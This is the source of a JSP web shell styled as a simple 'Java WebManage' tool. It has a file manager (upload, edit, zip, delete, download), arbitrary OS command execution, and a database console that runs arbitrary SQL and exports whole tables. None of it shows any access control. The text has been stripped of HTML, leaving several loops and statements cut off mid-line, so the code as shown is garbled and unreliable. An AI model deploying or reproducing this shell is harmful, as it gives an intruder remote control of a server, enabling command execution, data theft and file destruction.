Web:localhost:8000 主机IP:192.168.11.11 |Java WebManage coded by shack2
| http://www.shack2.org | version:<%=VERSION%>
ps:本脚本适用于简单的Web管理,为了兼容较低版本JDK,采用JDK1.3开发
<%
if("EnvsInfo".equals(m)){
%>
<%
Properties ps=System.getProperties();
Iterator iter=ps.keySet().iterator();
while (iter.hasNext()) {
String key=iter.next()+"";
out.print("- "+key+" "+ps.getProperty(key)+"
");
}
%>
<%
}
%>
<%
//文件管理
if("FileManage".equals(m)){
String dow=Util.getRequestStringVal(request, "do");
String path=Util.getRequestStringVal(request, "path");
if("upload".equals(dow)){
if(!Util.isEmpty(path)){
UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path);
out.print("");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
if("newFile".equals(dow)){
if(!Util.isEmpty(path)){
String isDir=Util.getRequestStringVal(request, "isDir");
String fname=Util.getRequestStringVal(request, "fileName");
FileUtil.newFile(path+"/"+fname,isDir);
out.print("");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
else if("packFiles".equals(dow)){
if(!Util.isEmpty(path)){
String files=Util.getRequestStringVal(request, "files");
String zipName=Util.getRequestStringVal(request, "zipName");
String toPath="";
if(Util.isEmpty(files)){
File f=new File(path);
ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip");
}
else{
//打包多个文件
toPath=path;
ZipUtils.createZip(files, path+"/"+zipName+".zip");
}
out.print("");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
else if("editFile".equals(dow)){
String encoding=Util.getRequestStringVal(request, "encode");
String result="";
String msg="";
String content=Util.getRequestStringVal(request, "content");
if(!Util.isEmpty(content)){
msg=FileUtil.writeTextToFile(content, path, encoding);
result=content;
}
else{
result=FileUtil.readFileToString(path,encoding);
}
%>
<%
}
else if("delete".equals(dow)){
if(!Util.isEmpty(path)){
File f=new File(path);
String ppath=Util.formatPath(f.getParent());
//删除多个
String files=Util.getRequestStringVal(request, "files");
if(!Util.isEmpty(files)){
String[] filesarry=files.split(",");
for(int i=0;i
post('"+shellPath+"',{'m':'FileManage','dir':'"+ppath+"'});");
//response.sendRedirect(shellPath+"?m=FileManage&dir="+path);
}
}
else if("downFile".equals(dow)){
if(!Util.isEmpty(path)){
File f=new File(path);
FileUtil.downLoadFile(response, path);
}
}
else if(Util.isEmpty(dow)){
int dirCount=0;
int fCount=0;
String dir=Util.getRequestStringVal(request, "dir");
if(Util.isEmpty(dir)){
//显示根目录文件列表
dir=webRootPath;
}
dir=Util.formatPath((dir+"/"));
File f=new File(dir);
%>
文件名称
上次修改时间
可读/可写
文件大小
操作
<%
//显示文件列表
File[] fs=f.listFiles();
for(int i=0;i
<%
String currentPath=Util.formatPath(dir+cf.getName());
%>
<%
}
}
else{
Util.print(out, 1, dir+"不存在!");
}
%>
<%
}
}
%>
<%
if("CMDS".equals(m)){
String cmd=Util.getRequestStringVal(request, "cmd");
String encode=Util.getRequestStringVal(request, "encode");
String result="";
if(!Util.isEmpty(cmd)&&!Util.isEmpty(encode)){
result=Util.execCmd(cmd,encode);
}
%>
<%
}
%>
<%
if("DBManage".equals(m)){
String dom=Util.getRequestStringVal(request, "do");
String encode=Util.getRequestStringVal(request, "encode");
%>
DataBase Manager »
<%
if("connect".equals(dom)){
String driver=Util.getRequestStringVal(request, "driver");
String url=Util.getRequestStringVal(request, "url");
String uid=Util.getRequestStringVal(request, "uid");
String pwd=Util.getRequestStringVal(request, "pwd");
String db=Util.getRequestStringVal(request, "mydb");
DBUtil dbo=null;
try{
dbo=(DBUtil)session.getAttribute(DBO);
}catch(Exception e){
Util.print(out, 2, "需要重新连接成功!");
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
dbo = new DBUtil(driver,url,uid,pwd,true);
Util.print(out, 1, "创建新连接成功!");
}
else{
Util.print(out, 2, "连接信息没有填写完整!");
}
}
try{
if (dbo == null || !((DBUtil)dbo).isValid()) {
if (dbo != null)
((DBUtil)dbo).close();
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
dbo = new DBUtil(driver,url,uid,pwd,true);
Util.print(out, 1, "创建新连接成功!");
}
else{
Util.print(out, 2, "连接信息没有填写完整!");
}
}
else {
if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) {
if(!dbo.notchange(driver, url, uid, pwd)){
dbo.close();
dbo = new DBUtil(driver,url,uid,pwd,true);
Util.print(out, 1, "创建新连接成功!");
}
else{
Util.print(out, 1, "取出上一次的连接!");
}
}
else{
Util.print(out, 1, "取出上一次的连接!");
}
}
session.setAttribute(DBO,dbo);
}catch(Exception e){
Util.print(out, 3, "发生了一点错误:"+e.getClass().getName()+": "+e.getMessage());
}
}
%>
<%
DBUtil dbo=null;
try{
dbo=(DBUtil)session.getAttribute(DBO);
}catch(Exception e){
session.removeAttribute(DBO);
Util.print(out, 2, "需要重新连接数据库!");
}
if(dbo!=null&&dbo.isValid()){
%>
数据库列表: 当前库所有表:<%
out.println(meta.getCatalogSeparator());
%>
<%
if(!Util.isEmpty(currentDB)&&!Util.isEmpty(currentTable)){
try {
String loadTableStruct=Util.getRequestStringVal(request, "loadTableStruct");
String loadTableData=Util.getRequestStringVal(request, "loadTableData");
String runsql=Util.getRequestStringVal(request, "runsql");
String runmysql=Util.getRequestStringVal(request, "runmysql");
if(!Util.isEmpty(loadTableStruct)){
ResultSet rs = meta.getColumns(currentDB, null,currentTable, null);
ResultSetMetaData rsmeta = rs.getMetaData();
int count = rsmeta.getColumnCount();
out.println("");
out.println("COLUMN_NAME | ");
out.println("TYPE_NAME | ");
out.println("COLUMN_SIZE | ");
out.println("
");
while(rs.next()){
out.println("");
out.println(""+rs.getString("COLUMN_NAME")+" | ");
out.println(""+rs.getString("TYPE_NAME")+" | ");
out.println(""+rs.getString("COLUMN_SIZE")+" | ");
out.println("
");
}
rs.close();
}
if(!Util.isEmpty(loadTableData)){
runmysql="select * from "+currentTable;
runsql="runsql";
}
if(!Util.isEmpty(runsql)){
dbo.conn.setCatalog(currentDB);
Object obj=dbo.execute(runmysql);
if (obj instanceof ResultSet) {
ResultSet rs = (ResultSet)obj;
ResultSetMetaData sqlmeta = rs.getMetaData();
if(!Util.isEmpty(currentDB)){
}
int colCount = sqlmeta.getColumnCount();
out.println("");
for (int i=1;i<=colCount;i++) {
out.println(""+sqlmeta.getColumnName(i)+"("+sqlmeta.getColumnTypeName(i)+") | ");
}
out.println("");
while(rs.next()) {
out.println("");
for (int i = 1;i<=colCount;i++) {
out.println(""+rs.getString(i)+" | ");
}
out.println("
");
}
rs.close();
}
}
String exportTableData=Util.getRequestStringVal(request, "exportTableData");
String downTableData=Util.getRequestStringVal(request, "downTableData");
String exportDataPath=Util.getRequestStringVal(request, "exportDataPath");
if (!Util.isEmpty(exportTableData)|| !Util.isEmpty(downTableData)) {
dbo.conn.setCatalog(currentDB);
if (Util.isEmpty(runmysql)) {
runmysql = "select * from " + currentTable;
}
Object o = dbo.execute(runmysql);
byte[] rowSep = "\r\n".getBytes();
if (o instanceof ResultSet) {
ResultSet rs = (ResultSet) o;
ResultSetMetaData dmeta = rs.getMetaData();
int count = dmeta.getColumnCount();
BufferedOutputStream output = null;
DataOutputStream dout=null;
FileOutputStream fs=null;
if (!Util.isEmpty(exportDataPath)&& !Util.isEmpty(exportTableData)) {
//exportfile
fs=new FileOutputStream(new File(exportDataPath));
output = new BufferedOutputStream(fs);
dout=new DataOutputStream(output);
} else {
out.clear();
out=pageContext.pushBody();
//download.
response.setHeader(
"Content-Disposition",
"attachment;filename=DataExport.txt");
output = new BufferedOutputStream(
response.getOutputStream());
dout=new DataOutputStream(output);
}
for (int i = 1; i <= count; i++) {
String colName = dmeta.getColumnName(i)+ "\t";
byte[] b = null;
if (Util.isEmpty(encode)) {
b = colName.getBytes();
} else {
b = colName.getBytes(encode);
}
dout.write(b, 0, b.length);
}
dout.write(rowSep, 0, rowSep.length);
while (rs.next()) {
for (int i = 1; i <= count; i++) {
String v = null;
try {
v = rs.getString(i);
} catch (Exception ex) {
v = "";
}
v += "\t";
byte[] b = null;
if (Util.isEmpty(encode)) {
b = v.getBytes();
} else {
b = v.getBytes(encode);
}
dout.write(b, 0, b.length);
}
dout.write(rowSep, 0, rowSep.length);
}
rs.close();
if(dout!=null){
dout.close();
}
if(output!=null){
output.close();
}
if(fs!=null){
fs.close();
}
}
}
} catch (Exception e) {
Util.print(out, 3, e.getMessage());
}
}
%>
<%
}
%>
<%
}
%>